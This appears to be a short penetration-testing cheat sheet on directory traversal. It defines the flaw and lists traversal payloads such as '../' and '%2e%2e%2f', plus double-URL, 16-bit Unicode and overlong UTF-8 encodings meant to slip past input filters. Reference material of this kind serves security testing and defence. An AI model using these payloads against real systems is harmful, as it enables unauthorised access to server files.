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44 lines
703 B
Markdown
44 lines
703 B
Markdown
# Traversal Directory
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A directory traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs.
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## Exploit
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Basic
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```
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../
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..\
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..\/
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%2e%2e%2f
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%252e%252e%252f
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%c0%ae%c0%ae%c0%af
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%uff0e%uff0e%u2215
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%uff0e%uff0e%u2216
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..././
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...\.\
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```
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16 bit Unicode encoding
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```
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. = %u002e
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/ = %u2215
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\ = %u2216
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```
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Double URL encoding
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```
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. = %252e
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/ = %252f
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\ = %255c
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```
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UTF-8 Unicode encoding
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```
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. = %c0%2e, %e0%40%ae, %c0ae
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/ = %c0%af, %e0%80%af, %c0%2f
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\ = %c0%5c, %c0%80%5c
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```
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## Thanks to
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* https://twitter.com/huykha10/status/962419695470174208
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